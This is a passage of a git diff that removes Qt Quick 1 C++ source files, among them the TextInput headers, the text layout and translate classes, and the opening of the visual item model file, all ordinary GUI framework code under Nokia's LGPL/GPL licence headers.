Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign RESET resetHAlign NOTIFY horizontalAlignmentChanged) - Q_PROPERTY(HAlignment effectiveHorizontalAlignment READ effectiveHAlign NOTIFY effectiveHorizontalAlignmentChanged REVISION 1) - Q_PROPERTY(bool readOnly READ isReadOnly WRITE setReadOnly NOTIFY readOnlyChanged) - Q_PROPERTY(bool cursorVisible READ isCursorVisible WRITE setCursorVisible NOTIFY cursorVisibleChanged) - Q_PROPERTY(int cursorPosition READ cursorPosition WRITE setCursorPosition NOTIFY cursorPositionChanged) - Q_PROPERTY(QRect cursorRectangle READ cursorRectangle NOTIFY cursorRectangleChanged) - Q_PROPERTY(QDeclarativeComponent *cursorDelegate READ cursorDelegate WRITE setCursorDelegate NOTIFY cursorDelegateChanged) - Q_PROPERTY(int selectionStart READ selectionStart NOTIFY selectionStartChanged) - Q_PROPERTY(int selectionEnd READ selectionEnd NOTIFY selectionEndChanged) - Q_PROPERTY(QString selectedText READ selectedText NOTIFY selectedTextChanged) - - Q_PROPERTY(int maximumLength READ maxLength WRITE setMaxLength NOTIFY maximumLengthChanged) -#ifndef QT_NO_VALIDATOR - Q_PROPERTY(QValidator* validator READ validator WRITE setValidator NOTIFY validatorChanged) -#endif - Q_PROPERTY(QString inputMask READ inputMask WRITE setInputMask NOTIFY inputMaskChanged) - Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ imHints WRITE setIMHints) - - Q_PROPERTY(bool acceptableInput READ hasAcceptableInput NOTIFY acceptableInputChanged) - Q_PROPERTY(EchoMode echoMode READ echoMode WRITE setEchoMode NOTIFY echoModeChanged) - Q_PROPERTY(bool activeFocusOnPress READ focusOnPress WRITE setFocusOnPress NOTIFY activeFocusOnPressChanged) - Q_PROPERTY(QString passwordCharacter READ passwordCharacter WRITE setPasswordCharacter NOTIFY passwordCharacterChanged) - Q_PROPERTY(QString displayText READ displayText NOTIFY displayTextChanged) - Q_PROPERTY(bool autoScroll READ autoScroll WRITE setAutoScroll NOTIFY autoScrollChanged) - Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged) - Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1) - Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1) - Q_PROPERTY(bool inputMethodComposing READ isInputMethodComposing NOTIFY inputMethodComposingChanged REVISION 1) - -public: - QDeclarative1TextInput(QDeclarativeItem* parent=0); - ~QDeclarative1TextInput(); - - enum EchoMode {//To match QLineEdit::EchoMode - Normal, - NoEcho, - Password, - PasswordEchoOnEdit - }; - - enum HAlignment { - AlignLeft = Qt::AlignLeft, - AlignRight = Qt::AlignRight, - AlignHCenter = Qt::AlignHCenter - }; - - enum SelectionMode { - SelectCharacters, - SelectWords - }; - - enum CursorPosition { - CursorBetweenCharacters, - CursorOnCharacter - }; - - //Auxilliary functions needed to control the TextInput from QML - Q_INVOKABLE int positionAt(int x) const; - Q_INVOKABLE Q_REVISION(1) int positionAt(int x, CursorPosition position) const; - Q_INVOKABLE QRectF positionToRectangle(int pos) const; - Q_INVOKABLE void moveCursorSelection(int pos); - Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode); - - Q_INVOKABLE void openSoftwareInputPanel(); - Q_INVOKABLE void closeSoftwareInputPanel(); - - QString text() const; - void setText(const QString &); - - QFont font() const; - void setFont(const QFont &font); - - QColor color() const; - void setColor(const QColor &c); - - QColor selectionColor() const; - void setSelectionColor(const QColor &c); - - QColor selectedTextColor() const; - void setSelectedTextColor(const QColor &c); - - HAlignment hAlign() const; - void setHAlign(HAlignment align); - void resetHAlign(); - HAlignment effectiveHAlign() const; - - bool isReadOnly() const; - void setReadOnly(bool); - - bool isCursorVisible() const; - void setCursorVisible(bool on); - - int cursorPosition() const; - void setCursorPosition(int cp); - - QRect cursorRectangle() const; - - int selectionStart() const; - int selectionEnd() const; - - QString selectedText() const; - - int maxLength() const; - void setMaxLength(int ml); - -#ifndef QT_NO_VALIDATOR - QValidator * validator() const; - void setValidator(QValidator* v); -#endif - QString inputMask() const; - void setInputMask(const QString &im); - - EchoMode echoMode() const; - void setEchoMode(EchoMode echo); - - QString passwordCharacter() const; - void setPasswordCharacter(const QString &str); - - QString displayText() const; - - QDeclarativeComponent* cursorDelegate() const; - void setCursorDelegate(QDeclarativeComponent*); - - bool focusOnPress() const; - void setFocusOnPress(bool); - - bool autoScroll() const; - void setAutoScroll(bool); - - bool selectByMouse() const; - void setSelectByMouse(bool); - - SelectionMode mouseSelectionMode() const; - void setMouseSelectionMode(SelectionMode mode); - - bool hasAcceptableInput() const; - - void drawContents(QPainter *p,const QRect &r); - QVariant inputMethodQuery(Qt::InputMethodQuery property) const; - - QRectF boundingRect() const; - bool canPaste() const; - - bool isInputMethodComposing() const; - - Qt::InputMethodHints imHints() const; - void setIMHints(Qt::InputMethodHints hints); - -Q_SIGNALS: - void textChanged(); - void cursorPositionChanged(); - void cursorRectangleChanged(); - void selectionStartChanged(); - void selectionEndChanged(); - void selectedTextChanged(); - void accepted(); - void acceptableInputChanged(); - void colorChanged(const QColor &color); - void selectionColorChanged(const QColor &color); - void selectedTextColorChanged(const QColor &color); - void fontChanged(const QFont &font); - void horizontalAlignmentChanged(HAlignment alignment); - void readOnlyChanged(bool isReadOnly); - void cursorVisibleChanged(bool isCursorVisible); - void cursorDelegateChanged(); - void maximumLengthChanged(int maximumLength); - void validatorChanged(); - void inputMaskChanged(const QString &inputMask); - void echoModeChanged(EchoMode echoMode); - void passwordCharacterChanged(); - void displayTextChanged(); - void activeFocusOnPressChanged(bool activeFocusOnPress); - void autoScrollChanged(bool autoScroll); - void selectByMouseChanged(bool selectByMouse); - Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode); - Q_REVISION(1) void canPasteChanged(); - Q_REVISION(1) void inputMethodComposingChanged(); - Q_REVISION(1) void effectiveHorizontalAlignmentChanged(); - -protected: - virtual void geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry); - - void mousePressEvent(QGraphicsSceneMouseEvent *event); - void mouseMoveEvent(QGraphicsSceneMouseEvent *event); - void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); - void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event); - bool sceneEvent(QEvent *event); - void keyPressEvent(QKeyEvent* ev); - void inputMethodEvent(QInputMethodEvent *); - bool event(QEvent *e); - void focusInEvent(QFocusEvent *event); - -public Q_SLOTS: - void selectAll(); - void selectWord(); - void select(int start, int end); - Q_REVISION(1) void deselect(); - Q_REVISION(1) bool isRightToLeft(int start, int end); -#ifndef QT_NO_CLIPBOARD - void cut(); - void copy(); - void paste(); -#endif - -private Q_SLOTS: - void updateSize(bool needsRedraw = true); - void q_textChanged(); - void selectionChanged(); - void createCursor(); - void cursorPosChanged(); - void updateCursorRectangle(); - void updateRect(const QRect &r = QRect()); - void q_canPasteChanged(); - -private: - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1TextInput) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1TextInput) -#ifndef QT_NO_VALIDATOR -QML_DECLARE_TYPE(QValidator) -QML_DECLARE_TYPE(QIntValidator) -QML_DECLARE_TYPE(QDoubleValidator) -QML_DECLARE_TYPE(QRegExpValidator) -#endif - -QT_END_HEADER - -#endif // QT_NO_LINEEDIT - -#endif // QDECLARATIVETEXTINPUT_H diff --git a/src/qtquick1/graphicsitems/qdeclarativetextinput_p_p.h b/src/qtquick1/graphicsitems/qdeclarativetextinput_p_p.h deleted file mode 100644 index 433ee9acdb..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetextinput_p_p.h +++ /dev/null @@ -1,151 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETEXTINPUT_P_H -#define QDECLARATIVETEXTINPUT_P_H - -#include "private/qdeclarativetextinput_p.h" - -#include "private/qdeclarativeimplicitsizeitem_p_p.h" - -#include - -#include - -#include - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. - -#ifndef QT_NO_LINEEDIT - -QT_BEGIN_NAMESPACE - -class Q_AUTOTEST_EXPORT QDeclarative1TextInputPrivate : public QDeclarative1ImplicitSizePaintedItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1TextInput) -public: - QDeclarative1TextInputPrivate() : control(new QWidgetLineControl), - color((QRgb)0), style(QDeclarative1Text::Normal), - styleColor((QRgb)0), hAlign(QDeclarative1TextInput::AlignLeft), - mouseSelectionMode(QDeclarative1TextInput::SelectCharacters), inputMethodHints(Qt::ImhNone), - hscroll(0), oldScroll(0), oldValidity(false), focused(false), focusOnPress(true), - showInputPanelOnFocus(true), clickCausedFocus(false), cursorVisible(false), - autoScroll(true), selectByMouse(false), canPaste(false), hAlignImplicit(true), - selectPressed(false) - { - } - - ~QDeclarative1TextInputPrivate() - { - } - - int xToPos(int x, QTextLine::CursorPosition betweenOrOn = QTextLine::CursorBetweenCharacters) const - { - Q_Q(const QDeclarative1TextInput); - QRect cr = q->boundingRect().toRect(); - x-= cr.x() - hscroll; - return control->xToPos(x, betweenOrOn); - } - - void init(); - void startCreatingCursor(); - void focusChanged(bool hasFocus); - void updateHorizontalScroll(); - bool determineHorizontalAlignment(); - bool setHAlign(QDeclarative1TextInput::HAlignment, bool forceAlign = false); - void mirrorChange(); - int calculateTextWidth(); - bool sendMouseEventToInputContext(QGraphicsSceneMouseEvent *event, QEvent::Type eventType); - void updateInputMethodHints(); - - QWidgetLineControl* control; - - QFont font; - QFont sourceFont; - QColor color; - QColor selectionColor; - QColor selectedTextColor; - QDeclarative1Text::TextStyle style; - QColor styleColor; - QDeclarative1TextInput::HAlignment hAlign; - QDeclarative1TextInput::SelectionMode mouseSelectionMode; - Qt::InputMethodHints inputMethodHints; - QPointer cursorComponent; - QPointer cursorItem; - QPointF pressPos; - - int lastSelectionStart; - int lastSelectionEnd; - int oldHeight; - int oldWidth; - int hscroll; - int oldScroll; - bool oldValidity:1; - bool focused:1; - bool focusOnPress:1; - bool showInputPanelOnFocus:1; - bool clickCausedFocus:1; - bool cursorVisible:1; - bool autoScroll:1; - bool selectByMouse:1; - bool canPaste:1; - bool hAlignImplicit:1; - bool selectPressed:1; - - static inline QDeclarative1TextInputPrivate *get(QDeclarative1TextInput *t) { - return t->d_func(); - } -}; - -QT_END_NAMESPACE - -#endif // QT_NO_LINEEDIT - -#endif - diff --git a/src/qtquick1/graphicsitems/qdeclarativetextlayout.cpp b/src/qtquick1/graphicsitems/qdeclarativetextlayout.cpp deleted file mode 100644 index 27fec2a581..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetextlayout.cpp +++ /dev/null @@ -1,395 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qdeclarativetextlayout_p.h" -#include -#include -#include -#include -#include - -QT_BEGIN_NAMESPACE - -// Defined in qpainter.cpp -extern Q_GUI_EXPORT void qt_draw_decoration_for_glyphs(QPainter *painter, const glyph_t *glyphArray, - const QFixedPoint *positions, int glyphCount, - QFontEngine *fontEngine, const QFont &font, - const QTextCharFormat &charFormat); - - - -class QDeclarative1TextLayoutPrivate -{ -public: - QDeclarative1TextLayoutPrivate() - : cached(false) {} - - QPointF position; - - bool cached; - QVector items; - QVector positions; - QVector glyphs; - QVector chars; -}; - -namespace { -class DrawTextItemRecorder: public QPaintEngine -{ - public: - DrawTextItemRecorder(bool untransformedCoordinates, bool useBackendOptimizations) - : m_inertText(0), m_dirtyPen(false), m_useBackendOptimizations(useBackendOptimizations), - m_untransformedCoordinates(untransformedCoordinates), m_currentColor(Qt::black) - { - } - - virtual void updateState(const QPaintEngineState &newState) - { - if (newState.state() & QPaintEngine::DirtyPen - && newState.pen().color() != m_currentColor) { - m_dirtyPen = true; - m_currentColor = newState.pen().color(); - } - } - - virtual void drawTextItem(const QPointF &position, const QTextItem &textItem) - { - int glyphOffset = m_inertText->glyphs.size(); // Store offset into glyph pool - int positionOffset = m_inertText->glyphs.size(); // Offset into position pool - int charOffset = m_inertText->chars.size(); - - const QTextItemInt &ti = static_cast(textItem); - - bool needFreshCurrentItem = true; - if (!m_inertText->items.isEmpty()) { - QStaticTextItem &last = m_inertText->items[m_inertText->items.count() - 1]; - - if (last.fontEngine() == ti.fontEngine && last.font == ti.font() && - (!m_dirtyPen || last.color == state->pen().color())) { - needFreshCurrentItem = false; - - last.numChars += ti.num_chars; - - } - } - - if (needFreshCurrentItem) { - QStaticTextItem currentItem; - - currentItem.setFontEngine(ti.fontEngine); - currentItem.font = ti.font(); - currentItem.charOffset = charOffset; - currentItem.numChars = ti.num_chars; - currentItem.numGlyphs = 0; - currentItem.glyphOffset = glyphOffset; - currentItem.positionOffset = positionOffset; - currentItem.useBackendOptimizations = m_useBackendOptimizations; - if (m_dirtyPen) - currentItem.color = m_currentColor; - - m_inertText->items.append(currentItem); - } - - QStaticTextItem ¤tItem = m_inertText->items.last(); - - QTransform matrix = m_untransformedCoordinates ? QTransform() : state->transform(); - matrix.translate(position.x(), position.y()); - - QVarLengthArray glyphs; - QVarLengthArray positions; - ti.fontEngine->getGlyphPositions(ti.glyphs, matrix, ti.flags, glyphs, positions); - - int size = glyphs.size(); - Q_ASSERT(size == positions.size()); - currentItem.numGlyphs += size; - - m_inertText->glyphs.resize(m_inertText->glyphs.size() + size); - m_inertText->positions.resize(m_inertText->glyphs.size()); - m_inertText->chars.resize(m_inertText->chars.size() + ti.num_chars); - - glyph_t *glyphsDestination = m_inertText->glyphs.data() + glyphOffset; - qMemCopy(glyphsDestination, glyphs.constData(), sizeof(glyph_t) * size); - - QFixedPoint *positionsDestination = m_inertText->positions.data() + positionOffset; - qMemCopy(positionsDestination, positions.constData(), sizeof(QFixedPoint) * size); - - QChar *charsDestination = m_inertText->chars.data() + charOffset; - qMemCopy(charsDestination, ti.chars, sizeof(QChar) * ti.num_chars); - - } - - virtual void drawPolygon(const QPointF *, int , PolygonDrawMode ) - { - /* intentionally empty */ - } - - virtual bool begin(QPaintDevice *) { return true; } - virtual bool end() { return true; } - virtual void drawPixmap(const QRectF &, const QPixmap &, const QRectF &) {} - virtual Type type() const - { - return User; - } - - void begin(QDeclarative1TextLayoutPrivate *t) { - m_inertText = t; - m_dirtyPen = false; - } - - private: - QDeclarative1TextLayoutPrivate *m_inertText; - - bool m_dirtyPen; - bool m_useBackendOptimizations; - bool m_untransformedCoordinates; - QColor m_currentColor; -}; - -class DrawTextItemDevice: public QPaintDevice -{ - public: - DrawTextItemDevice(bool untransformedCoordinates, bool useBackendOptimizations) - { - m_paintEngine = new DrawTextItemRecorder(untransformedCoordinates, - useBackendOptimizations); - } - - ~DrawTextItemDevice() - { - delete m_paintEngine; - } - - void begin(QDeclarative1TextLayoutPrivate *t) { - m_paintEngine->begin(t); - } - - int metric(PaintDeviceMetric m) const - { - int val; - switch (m) { - case PdmWidth: - case PdmHeight: - case PdmWidthMM: - case PdmHeightMM: - val = 0; - break; - case PdmDpiX: - case PdmPhysicalDpiX: - val = qt_defaultDpiX(); - break; - case PdmDpiY: - case PdmPhysicalDpiY: - val = qt_defaultDpiY(); - break; - case PdmNumColors: - val = 16777216; - break; - case PdmDepth: - val = 24; - break; - default: - val = 0; - qWarning("DrawTextItemDevice::metric: Invalid metric command"); - } - return val; - } - - virtual QPaintEngine *paintEngine() const - { - return m_paintEngine; - } - - private: - DrawTextItemRecorder *m_paintEngine; -}; - -struct InertTextPainter { - InertTextPainter() - : device(true, true), painter(&device) {} - - DrawTextItemDevice device; - QPainter painter; -}; -} - -Q_GLOBAL_STATIC(InertTextPainter, inertTextPainter); - -/*! -\class QDeclarative1TextLayout -\brief The QDeclarative1TextLayout class is a version of QStaticText that works with QTextLayouts. -\internal - -This class is basically a copy of the QStaticText code, but it is adapted to source its text from -QTextLayout. - -It is also considerably faster to create a QDeclarative1TextLayout than a QStaticText because it uses -a single, shared QPainter instance. QStaticText by comparison creates a new QPainter per instance. -As a consequence this means that QDeclarative1TextLayout is not re-enterant. Adding a lock around -the shared painter solves this, and only introduces a minor performance penalty, but is unnecessary -for QDeclarative1TextLayout's current use (QDeclarative1Text is already tied to the GUI thread). -*/ - -QDeclarative1TextLayout::QDeclarative1TextLayout() -: d(0) -{ -} - -QDeclarative1TextLayout::QDeclarative1TextLayout(const QString &text) -: QTextLayout(text), d(0) -{ -} - -QDeclarative1TextLayout::~QDeclarative1TextLayout() -{ - if (d) delete d; -} - -void QDeclarative1TextLayout::beginLayout() -{ - if (d && d->cached) { - d->cached = false; - d->items.clear(); - d->positions.clear(); - d->glyphs.clear(); - d->chars.clear(); - d->position = QPointF(); - } - QTextLayout::beginLayout(); -} - -void QDeclarative1TextLayout::clearLayout() -{ - if (d && d->cached) { - d->cached = false; - d->items.clear(); - d->positions.clear(); - d->glyphs.clear(); - d->chars.clear(); - d->position = QPointF(); - } - QTextLayout::clearLayout(); -} - -void QDeclarative1TextLayout::prepare() -{ - if (!d || !d->cached) { - - if (!d) - d = new QDeclarative1TextLayoutPrivate; - - InertTextPainter *itp = inertTextPainter(); - itp->device.begin(d); - QTextLayout::draw(&itp->painter, QPointF(0, 0)); - - glyph_t *glyphPool = d->glyphs.data(); - QFixedPoint *positionPool = d->positions.data(); - QChar *charPool = d->chars.data(); - - int itemCount = d->items.count(); - for (int ii = 0; ii < itemCount; ++ii) { - QStaticTextItem &item = d->items[ii]; - item.glyphs = glyphPool + item.glyphOffset; - item.glyphPositions = positionPool + item.positionOffset; - item.chars = charPool + item.charOffset; - } - - d->cached = true; - } -} - -void QDeclarative1TextLayout::draw(QPainter *painter, const QPointF &p) -{ - QPainterPrivate *priv = QPainterPrivate::get(painter); - - bool paintEngineSupportsTransformations = priv->extended && - (priv->extended->type() == QPaintEngine::OpenGL2 || - priv->extended->type() == QPaintEngine::OpenVG || - priv->extended->type() == QPaintEngine::OpenGL); - - if (!paintEngineSupportsTransformations || !priv->state->matrix.isAffine()) { - QTextLayout::draw(painter, p); - return; - } - - prepare(); - - int itemCount = d->items.count(); - - if (p != d->position) { - QFixed fx = QFixed::fromReal(p.x()); - QFixed fy = QFixed::fromReal(p.y()); - QFixed oldX = QFixed::fromReal(d->position.x()); - QFixed oldY = QFixed::fromReal(d->position.y()); - for (int item = 0; item < itemCount; ++item) { - QStaticTextItem &textItem = d->items[item]; - - for (int ii = 0; ii < textItem.numGlyphs; ++ii) { - textItem.glyphPositions[ii].x += fx - oldX; - textItem.glyphPositions[ii].y += fy - oldY; - } - textItem.userDataNeedsUpdate = true; - } - - d->position = p; - } - - QPen oldPen = priv->state->pen; - QColor currentColor = oldPen.color(); - for (int ii = 0; ii < itemCount; ++ii) { - QStaticTextItem &item = d->items[ii]; - if (item.color.isValid() && currentColor != item.color) { - painter->setPen(item.color); - currentColor = item.color; - } - priv->extended->drawStaticTextItem(&item); - - qt_draw_decoration_for_glyphs(painter, item.glyphs, item.glyphPositions, - item.numGlyphs, item.fontEngine(), painter->font(), - QTextCharFormat()); - } - if (currentColor != oldPen.color()) - painter->setPen(oldPen); -} - - - -QT_END_NAMESPACE - diff --git a/src/qtquick1/graphicsitems/qdeclarativetextlayout_p.h b/src/qtquick1/graphicsitems/qdeclarativetextlayout_p.h deleted file mode 100644 index dc2fc4be91..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetextlayout_p.h +++ /dev/null @@ -1,74 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETEXTLAYOUT_P_H -#define QDECLARATIVETEXTLAYOUT_P_H - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1TextLayoutPrivate; -class QDeclarative1TextLayout : public QTextLayout -{ -public: - QDeclarative1TextLayout(); - QDeclarative1TextLayout(const QString &); - ~QDeclarative1TextLayout(); - - void beginLayout(); - void clearLayout(); - - void prepare(); - void draw(QPainter *, const QPointF & = QPointF()); - -private: - QDeclarative1TextLayoutPrivate *d; -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVETEXTLAYOUT_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativetranslate.cpp b/src/qtquick1/graphicsitems/qdeclarativetranslate.cpp deleted file mode 100644 index c2ee696e9c..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetranslate.cpp +++ /dev/null @@ -1,129 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "private/qdeclarativetranslate_p.h" -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1TranslatePrivate : public QGraphicsTransformPrivate -{ -public: - QDeclarative1TranslatePrivate() - : x(0), y(0) {} - qreal x; - qreal y; -}; - -/*! - Constructs an empty QDeclarative1Translate object with the given \a parent. -*/ -QDeclarative1Translate::QDeclarative1Translate(QObject *parent) - : QGraphicsTransform(*new QDeclarative1TranslatePrivate, parent) -{ -} - -/*! - Destroys the graphics scale. -*/ -QDeclarative1Translate::~QDeclarative1Translate() -{ -} - -/*! - \property QDeclarative1Translate::x - \brief the horizontal translation. - - The translation can be any real number; the default value is 0.0. - - \sa y -*/ -qreal QDeclarative1Translate::x() const -{ - Q_D(const QDeclarative1Translate); - return d->x; -} -void QDeclarative1Translate::setX(qreal x) -{ - Q_D(QDeclarative1Translate); - if (d->x == x) - return; - d->x = x; - update(); - emit xChanged(); -} - -/*! - \property QDeclarative1Translate::y - \brief the vertical translation. - - The translation can be any real number; the default value is 0.0. - - \sa x -*/ -qreal QDeclarative1Translate::y() const -{ - Q_D(const QDeclarative1Translate); - return d->y; -} -void QDeclarative1Translate::setY(qreal y) -{ - Q_D(QDeclarative1Translate); - if (d->y == y) - return; - d->y = y; - update(); - emit yChanged(); -} - -void QDeclarative1Translate::applyTo(QMatrix4x4 *matrix) const -{ - Q_D(const QDeclarative1Translate); - matrix->translate(d->x, d->y, 0); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativetranslate_p.h b/src/qtquick1/graphicsitems/qdeclarativetranslate_p.h deleted file mode 100644 index 2f7682bf86..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetranslate_p.h +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETRANSLATE_H -#define QDECLARATIVETRANSLATE_H - -#include "qdeclarativeitem.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1TranslatePrivate; - -class Q_AUTOTEST_EXPORT QDeclarative1Translate : public QGraphicsTransform -{ - Q_OBJECT - - Q_PROPERTY(qreal x READ x WRITE setX NOTIFY xChanged) - Q_PROPERTY(qreal y READ y WRITE setY NOTIFY yChanged) - -public: - QDeclarative1Translate(QObject *parent = 0); - ~QDeclarative1Translate(); - - qreal x() const; - void setX(qreal); - - qreal y() const; - void setY(qreal); - - void applyTo(QMatrix4x4 *matrix) const; - -Q_SIGNALS: - void xChanged(); - void yChanged(); - -private: - Q_DECLARE_PRIVATE(QDeclarative1Translate) - Q_DISABLE_COPY(QDeclarative1Translate) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Translate) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativevisualitemmodel.cpp b/src/qtquick1/graphicsitems/qdeclarativevisualitemmodel.cpp deleted file mode 100644 index be0b185d7a..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativevisualitemmodel.cpp +++ /dev/null @@ -1,1432 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** 